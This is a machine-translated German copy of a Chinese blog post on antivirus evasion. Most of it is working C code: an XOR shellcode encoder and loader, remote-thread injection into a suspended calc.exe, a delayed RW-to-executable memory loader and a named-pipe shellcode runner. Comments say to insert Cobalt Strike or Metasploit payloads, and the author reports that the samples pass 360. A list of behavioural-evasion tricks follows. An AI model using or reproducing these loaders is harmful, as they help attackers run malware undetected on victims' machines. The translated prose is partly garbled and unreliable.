Anti-Kill-Brief 2 (Shellcode für sekundäre Kompilierung \ Shellcode für Remote-Laden \ Remote-Thread-Injektion für Shell-Code \ Optimierung von Speicheranwendungen \ Pipeline-Technologie)

Zweite Zusammenstellung

Es kann auch als Shellcode-Verschleierung verstanden werden, bei der verschiedene Verschlüsselungen durchgeführt werden, bevor der Shellcode ausgeführt wird, und dann während der Ausführung entschlüsselt werden. Xor ist ein Beispiel. Das Prinzip besteht darin, zuerst den verschlüsselten Shellcode in das Programm zu schreiben und dann das Shellcode-Entschlüsselungsprogramm in das Programm zu schreiben, so dass sich nach der Verwechslung des Shellcodes verschiedene Werte wie der Signaturcode ändern, wodurch die meisten statischen Erkennungen und Abschaltungen umgangen werden können , Die Verschlüsselungsmethode ist nicht eingeschränkt, es ist auch möglich, selbst zu schreiben. Exp: xoder verschlüsselter Shellcode-Code:

Quellcode: https://github.com/shanfenglan/xor_shellcode

#include stdio.h
#define KEY 0x97     //进行异或的字符unsigned char buf[] = "shellcode";
int main(int argc, char* argv[]){
    
      
unsigned char c[sizeof(buf)];   //获取shellcode长度  
for (int i = 0; i < sizeof(buf)-1; i++)  {
    
        
        c[i] = buf[i] ^ KEY;//进行解密
        printf("\\x%x",c[i]);
  }    
  printf("\n");
   return 0;
}

Shellcode-Ladecode:

#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
#define KEY 0x97
char bufff[] = "shellcode";
void main(){
    
     
	unsigned char buff[sizeof(bufff)];   //获取shellcode长度
	for (int i = 0; i < sizeof(bufff) - 1; i++)
	{
    
    
		buff[i] = bufff[i] ^ KEY;//进行解密
	} 
	LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buff, sizeof(buff));
	((void(*)())Memory)();
} 

Shellcode remote laden (per TCP-Anfrage herunterladen und in den Speicher laden)

Fügen Sie hier eine Bildbeschreibung ein
Fügen Sie hier eine Bildbeschreibung ein
360 ist ungiftig, da es sich um eine TCP-Verbindung handelt, die erkannt werden kann.
Fügen Sie hier eine Bildbeschreibung ein

Der Server, der die Speicherseite des Shellcodes darstellt, meldet den Virus, spielt jedoch keine Rolle, da sich der Server auf dem Host unseres Angreifers befindet.

Referenzcode: Implementierung: Laden Sie den Shellcode aus der Ferne, um eine Trennung und Vermeidung zu erreichen


Shellcode Remote Thread Injection

#include Windows.h
#include stdio.h
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std; 
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = ""; 
BOOL injection(){
    
        
wchar_t Cappname[MAX_PATH] = {
    
     0 };    STARTUPINFO si;    PROCESS_INFORMATION pi;    
LPVOID lpMalwareBaseAddr;   
LPVOID lpnewVictimBaseAddr;    
HANDLE hThread;    
DWORD dwExitCode;    
BOOL bRet = FALSE;     
//把基地址设置为自己shellcode数组的起始地址    
lpMalwareBaseAddr = shellcode;     
//获取系统路径,拼接字符串找到calc.exe的路径    
GetSystemDirectory(Cappname, MAX_PATH);    lstrcat(Cappname, L"\\calc.exe");     
//打印注入提示   
// printf("被注入的程序名:%S\r\n", Cappname);     
ZeroMemory(&amp;si, sizeof(si));    
si.cb = sizeof(si);    
ZeroMemory(&amp;pi, sizeof(pi));     
//创建calc.exe进程   
if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED 
, NULL, NULL, &amp;si, &amp;pi) == 0)    {
    
           
return bRet;   
} 
lpnewVictimBaseAddr=VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,        PAGE_EXECUTE_READWRITE);    
if (lpnewVictimBaseAddr == NULL)    {
    
    
return bRet;   
}    
//远程线程注入过程    
WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);    
hThread = CreateRemoteThread(pi.hProcess, 0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess,&amp;dwExitCode);    
TerminateProcess(pi.hProcess, 0);    
return bRet;
} 
void help(char* proc){
    
        
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
} 
int main(int argc, char* argv[]){
    
        help(argv[0]);    
injection();
}

Fügen Sie hier eine Bildbeschreibung ein

Es gibt zwar noch viele Morde, aber Sie können 360 passieren

System-API verwendet:

1. LoadLibrary () und GetProcAddress () sind
zwei Funktionen. Eine dient zum Laden der DLL-Bibliothek und die andere zum Abrufen der Adresse einer Funktion aus dem Handle der geladenen Bibliothek, die als Hinzufügen einer DLL zum Speicher verstanden werden kann Rufen Sie die Adresse einer Funktion ab, und Sie können sie direkt aufrufen, nachdem Sie diese Adresse erhalten haben. Diese beiden einfachen Funktionen werden häufig verwendet, unabhängig davon, ob es sich um einen regulären Aufruf oder um statische Vermeidung handelt.

2. OpenProcess ()
erhält das Handle des Prozesses gemäß der Prozess-ID, dh erhält das Steuerrecht des Prozesses.

3. VirtualAllocEx ()
öffnet im angegebenen Prozess einen Speicherplatz zum Speichern Ihres eigenen Codes und Ihrer eigenen Parameter.

4.
Die Funktion in WriteProcessMemory () 3 öffnet einen Speicher in einem Prozess und verwendet diese Funktion 4 dann direkt, um Daten in diesen Speicher zu schreiben, dh einen Speicher in einem anderen zu öffnen und Ihre eigenen Sachen zu schreiben.

5.
Die Kernfunktion von CreateRemoteThread () , die an einem bestimmten Speicherort des angegebenen Prozesses gespeicherte Funktion, ist eine Thread-Funktion, und ein Thread wird gestartet. Natürlich gehört der gestartete Thread zum angegebenen Prozess.

Prinzip der Ferngewindeinspritzung

Das Prinzip der Thread-Injektion bedeutet wahrscheinlich, dass wir Berechtigungen vom Host erhalten. Dies ist der Prozess, der auf bestimmte Weise injiziert werden muss. Nachdem wir die Berechtigungen erhalten haben, müssen wir eine bestimmte Menge an Speicher für diesen Prozess öffnen und dann den Inhalt und die Parameter unserer Thread-Funktion einrichten. Kopieren Sie die Vergangenheit so, dass unsere Funktionen und Parameter im Zielprozess enthalten sind.
Zu diesem Zeitpunkt müssen wir ihm nur "helfen", um diesen Thread zu starten, und es ist in Ordnung. Verwenden Sie direkt die CreateRemoteThread-Funktion an einem bestimmten Speicherort des anderen Prozesses als Thread-Funktion, um sie zu starten.

Referenz: Fernbedienung Avoid Kill Kapitel 8 Shellcode Avoid Kill


Ressourcenänderung

Das Ändern von Ressourcen wie Symbolen hat relativ geringe Auswirkungen. Es wird das Ressourcen-Hacker-Tool verwendet, das nicht empfohlen wird.


Verpackung

Software-Packing ist eigentlich Software-Verschlüsselung oder Software-Komprimierung, aber die Methode der Verschlüsselung oder Komprimierung ist unterschiedlich. Das Packen kann fast jede Signaturerkennung umgehen, aber die Shell hat auch eine eigene Signatur, sodass Sie sie selbst schreiben müssen. Um das Anti-Soft-Prinzip zu umgehen oder die Erkennung von Funktionscodes durch Schälen zu umgehen, sind ein starker Code und Umkehrfähigkeiten erforderlich, daher werde ich hier nicht zu viel darauf eingehen.


Optimierungsmethode für Speicheranwendungen

Fügen Sie hier eine Bildbeschreibung ein
Obwohl viele erkannt wurden, kann es immer noch 360 passieren.

360 wurde auf vt angezeigt, aber 360 wurde gerade überprüft und getötet, ich verstehe nicht. .

#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {
    
    

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */

    unsigned char buf[] = "";

    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
    
    
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );

    // 将shellcode复制到可读可写的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    // 这里开始更改它的属性为可执行
    VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

    // 等待几秒,兴许可以跳过某些沙盒呢?
    Sleep(2000);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

Der Kern dieser Technologie besteht darin, zunächst einen normalen lesbaren und beschreibbaren Speicher zu beantragen und nach einigen Sekunden der Stagnation den Speicherstatus in ausführbar zu ändern.


Verwenden Sie die Pipeline-Technologie, um das Töten von 360 zu vermeiden

#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
unsigned char buf[] = "";
LPCTSTR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");

BOOL RecvShellcode(VOID) {
    
    
    HANDLE hPipeClient;
    DWORD dwWritten;
    DWORD dwShellcodeSize = sizeof(buf);
    // 等待管道可用
    WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
    // 连接管道
    hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hPipeClient == INVALID_HANDLE_VALUE) {
    
    
        printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
        return FALSE;
    }

    WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
    if (dwWritten == dwShellcodeSize) {
    
    
        CloseHandle(hPipeClient);
        printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
        return TRUE;
    }
    CloseHandle(hPipeClient);
    return FALSE;
}


int wmain(int argc, TCHAR* argv[]) {
    
    

    HANDLE hPipe;
    DWORD dwError;
    CHAR szBuffer[BUFF_SIZE];
    DWORD dwLen;
    PCHAR pszShellcode = NULL;
    DWORD dwOldProtect; // 内存页属性
    HANDLE hThread;
    DWORD dwThreadId;
    // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
    hPipe = CreateNamedPipe(
        ptsPipeName,
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_BYTE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFF_SIZE,
        BUFF_SIZE,
        0,
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
    
    
        dwError = GetLastError();
        printf("[-]Create Pipe Error : %d \n", dwError);
        return dwError;
    }

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);

    if (ConnectNamedPipe(hPipe, NULL) > 0) {
    
    
        printf("[+]Client Connected...\n");
        ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
        printf("[+]Get DATA Length : %d \n", dwLen);
        // 申请内存页
        pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
        // 拷贝内存
        CopyMemory(pszShellcode, szBuffer, dwLen);

        /*for (DWORD i = 0; i < dwLen; i++) {
            Sleep(50);
            _InterlockedXor8(pszShellcode + i, 10);
        }*/

        // 这里开始更改它的属性为可执行
        VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
        // 执行Shellcode
        hThread = CreateThread(
            NULL, // 安全描述符
            NULL, // 栈的大小
            (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
            NULL, // 参数
            NULL, // 线程标志
            &dwThreadId // 线程ID
        );

        WaitForSingleObject(hThread, INFINITE);
    }

    return 0;
}

Prinzip: Erstellen Sie einen untergeordneten Thread als Named Pipe. Das andere Ende ist der Client, der zum Übertragen von Shellcode verwendet wird. Der Prozess selbst fungiert als Server zum Empfangen von Shellcode, um Speicher zuzuweisen und auszuführen.


Handlungsvermeidung (Auszug)

Antivirensoftware hat jetzt die Hauptverteidigungsfunktion, die böswilliges Verhalten abfängt und auffordert. Diese Verhaltensweisen: Registrierungsvorgänge, Hinzufügen von Startelementen, Hinzufügen von Servicedateien, Lesen von Systemdateien, Löschen von Dateien, Verschieben von Dateien zum Beenden von Prozessen, Erstellen von Prozessinjektionen, Entführen und andere Verhaltensabfangprinzipien sind einfach, böswilliges Verhalten erfolgt durch API-Aufrufe Der Abschluss kann eine API oder eine Kombination mehrerer APIs sein. Antivirus verwendet technische Mittel, um diese API-Aufrufe abzufangen, und verwendet Strategien, um festzustellen, ob sie böswillig sind.

Wichtige Punkte:
API-
Strategie (Sequenz, Aufrufquelle, Parameter usw.),
sodass die letztere Methode darin besteht, für diese beiden Punkte zu arbeiten.


Wie vermeide ich, Verhaltensweisen zu töten?

  1. Die Ersatz-API
    verwendet dieselbe Funktions-API, um sie zu ersetzen. Antivirus kann nicht alle APIs abfangen, daher ist diese Methode weiterhin wirksam. Beispielsweise ersetzt MoveFileEx MoveFile.
  2. Nicht exportierte APIs
    suchen nach nicht exportierten APIs mit derselben Funktion, um sie zu ersetzen. Anti-Software-Interception dient im Allgemeinen zum Exportieren von APIs oder zugrunde liegenden Aufrufen. Das Auffinden nicht exportierter APIs hat einen bestimmten Effekt.
    Finden Sie einen Weg, um dieselbe Funktion auszuführen, indem Sie die internen Aufrufe der Ziel-API analysieren und eine oder mehrere interne nicht exportierte APIs finden.
  3. Durch das Umschreiben der API wird
    die System-API-Funktion (durch Reverse Engineering) vollständig neu geschrieben, um eine eigene entsprechende Funktions-API zu realisieren, die für das Abfangen des Verhaltens von ring3 sehr effektiv ist. Wie die Realisierung von MoveFile und so weiter.

  4. Das API-Abfangen von api + 5 ring3 besteht darin, die ersten Bytes der API zu verknüpfen und dann die Anti-Soft-Funktion einzugeben, um die Parameter zu überprüfen.
  5. Die Bottom-API-
    Methode ähnelt 2 und 3, die Anti-Soft-Interception-API ist möglicherweise höher (klarere Semantik). Dann finden Sie eine API auf niedrigerer Ebene, die aufgerufen werden kann, um das Abfangen zu umgehen, z. B. mithilfe von NT-Funktionen.
    Oder rufen Sie die Treiberfunktion über DeviceIoControl auf, um die API-Funktion abzuschließen.
    Systemaufrufe simulieren.
  6. Angemessene Ersetzungsaufrufsequenz
    Manchmal wird das Abhörverhalten durch eine Kombination mehrerer APIs vervollständigt, sodass eine angemessene Ersetzungssequenz unter Umgehung der Anti-Soft-Abfangstrategie auch das Abfangen von Verhaltensänderungen umgehen kann.
    Erstellen Sie beispielsweise zuerst einen Dienst und kopieren Sie dann die entsprechende Datei des Dienstes.
  7. Umgehen Sie die Aufrufquelle
    , um die Funktion der API durch Aufrufen anderer Funktionen zu vervollständigen. Klassischer, zum Beispiel über rundll32.exe, um das Laden der DLL abzuschließen, über COM, um Dateien zu bedienen und so weiter.

Referenzmaterial:
Zusammenfassung dieser Shellcodes vermeiden das Töten,
Fernbedienung vermeiden das Töten Kapitel 8 Shellcode vermeiden das Töten,
Fernbedienung vermeiden das Töten vom Einstieg in die Praxis (11) letztes Kapitel

Fügen Sie hier eine Bildbeschreibung ein
Diejenigen, die Tools benötigen, können direkt suchen und herunterladen. Ich habe sie hochgeladen und benötige keine Punkte.

Ich denke du magst

Origin blog.csdn.net/qq_41874930/article/details/107888800
Empfohlen
Rangfolge